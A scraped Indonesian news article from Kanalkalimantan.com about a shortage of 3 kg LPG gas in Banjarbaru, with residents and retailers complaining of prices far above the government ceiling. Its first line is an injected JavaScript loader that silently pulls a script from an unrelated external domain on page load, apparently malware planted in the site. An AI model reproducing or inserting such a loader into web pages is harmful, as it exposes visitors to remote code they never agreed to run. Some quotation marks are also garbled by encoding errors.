(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Ibarat penyakit menahun, kelangkaan gas elpiji 3 kg kembali terjadi. Dengan alasan yang juga klasik, masyrakat pun dibuat kelimpungan untuk mencari ‘si melon’ ini. Kalau pun ketemu, di Banjarbaru dan sekitarnya harganya kini mencapai Rp 35 ribu hingga Rp 40 ribu! Lalu, dimana kehadiran pemerintah dan perangkatnya untuk mengatasi masalah kambuhan ini?
Wajah Ratna (38), siang itu nampak kusut. Sudah beberapa lokasi penjualan gas elpiji dia datangi. Tetapi jawabannya hampir sama. “Gas kosong, Mbak!†kata dia menirukan jawaban sejumlah tempat penjualan gas di Banjarbaru yang didatanginya.
“Saya sudah mutar-mutar di sini (di wilayah Mentaos, Banjarbaru, red) banyak yang sudah habis. Tapi, mahal gak mahal kalau butuh ya tetep beli, lah ini mau beli tapi barangnya kosong bagaimana?” ungkapnya kesal saat ditemui Kanalkalimantan.com.
Awalnya, Ratna sudah berupaya mencari stok elpiji 3 kg di pangkalan. Namun, ternyata juga sama saja. Kosong. Sampai akhirnya, ibu rumah tangga ini hanya mendapatkan di pengecer yang harganya sudah mencapai 2x harga HET.
“Entah alasan apalagi, hingga gas ini jadi larang (mahal, red). Jaka kawa pakai kayu, bemasak pakai kayu haja (kalau saja bisa memasak pakai kayu bakar, lebih baik pakai kayu bakar saja),” protes Ratna.
Hal sama dialami Wahyudin (42) seorang pengecer elpiji 3 kg di kawasan Peramuan, Landasan Ulin. Dia mengatakan, sejak beberapa waktu ini mengakui sulitnya mendapatkan gas untuk dijual kepada pembeli. “Hari ini tadi saya sudah putar-putar ke sana ke mari, cuma dapat enam tabung. Memang lagi langka. Ini aja saya mau cari lagi, siapa tahu dapat,†ungkapnya.
Wahyudin, menjual kembali elpiji eceran kepada pembeli di kawasan tersebut dengan harga Rp 35 ribu per tabung. “Ya, harganya saat ini segitu. Kalau pian mau beli, ya silahkan,†ujarnya pasrah atas melonjaknya sarana untuk masak tersebut.
Ihwal melambungnya harga elpiji 3 kg saat ini, sejumlah pengecer mengatakan karena mereka membeli dari tangan yang ke sekian. “Saya belinya gak langsung di agen, tapi orang ketiga setelah agen. Karena saya punya stok tabung sekitar 25 tabung saja,” ujar seorang pengecer yang enggan disebut namanya kepada wartawan.
Lonjakan tersebut terbilang cukup wah, karena standar harga yang ditetapkan pemerintah untuk elpiji 3 kg sebenarnya hanya Rp 14.750. Tapi, untuk mendapatkan elpiji dengan harga segitu saat ini, ibarat mimpi di siang bolong!
Namun demikian, liarnya harga elpiji di pasaran ini nampaknya tak segera direspons oleh pemerintah. Alih-alih yang dilakukan sebatas ancaman bagi pengecer yang menjual di atas harga normal. Padahal kenyataan di lapangan, harga sudah lepas landas.
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.